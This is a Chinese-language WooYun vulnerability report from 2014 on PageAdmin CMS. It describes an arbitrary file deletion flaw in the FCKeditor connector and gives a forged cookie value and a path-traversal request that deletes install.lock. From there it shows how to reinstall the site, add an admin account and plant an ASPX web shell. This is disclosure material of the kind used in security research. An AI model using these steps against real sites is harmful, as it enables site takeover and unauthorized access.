漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-061697
漏洞标题：PageAdmin CMS最新版任意文件删除可GetShell
相关厂商：PageAdmin
漏洞作者： cmd
提交时间：2014-05-22 23:18
修复时间：2014-08-20 23:24
公开时间：2014-08-20 23:24
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-22： 细节已通知厂商并且等待厂商处理中
2014-05-27： 厂商已经确认，细节仅向厂商公开
2014-05-30： 细节向第三方安全合作伙伴开放
2014-07-21： 细节向核心白帽子及相关领域专家公开
2014-07-31： 细节向普通白帽子公开
2014-08-10： 细节向实习白帽子公开
2014-08-20： 细节向公众公开
简要描述：
PageAdmin CMS最新版任意文件删除可GetShell
详细说明：
在上个漏洞wooyun-2014-061609中，我提到了FCK编辑器可以绕过的问题，但是只是用来列目录，查看代码，我发现它还可以删除任意文件，没有过滤。
if (text5 == "DelFile") {
this.GrIdOC5LQ(xmlNode, text, text2);
}
path = current.Server.MapPath(current.Request["FileUrl"]);
flag = !File.Exists(path);
if (flag)
mLl4TDlFjua8ECRxcG.aHPyXJTts(base.Response, 1, " unable to locate file ");
else
File.Delete(path);
系统安装文件/e/install/index.aspx检测了/e/install/install.lock是否存在
如果不存在的话，就可以重装网站，所以我们就可以用这个漏洞删除掉install.lock文件。
首先把Cookie改成 Master=1&UID=9999&Valicate=17b62103fec08a1333215b141bb18217f11c8e13a
然后访问/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=DelFile&Type=File&CurrentFolder=&FileUrl=../../../../../../install/install.lock
这样就删掉了install.lock，然后访问/e/install/，这里可以直接修改管理员密码，或者执行sql添加管理员账号。
漏洞证明：
这里拿官方DEMO测试一下。
删文件+添加用户
用户名test，密码admin
登陆后台，点增加专题，专题内容里面写ASPX代码，就可以拿shell了
添加后，用专题管理，找到专题，访问一下，shell就生成好了，地址是/e/zt/xx.aspx
修复方案：
过滤
版权声明：转载请注明来源 cmd@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2014-05-27 14:07
厂商回复：
由CNVD统一汇总后练习厂商处置。
最新状态：
暂无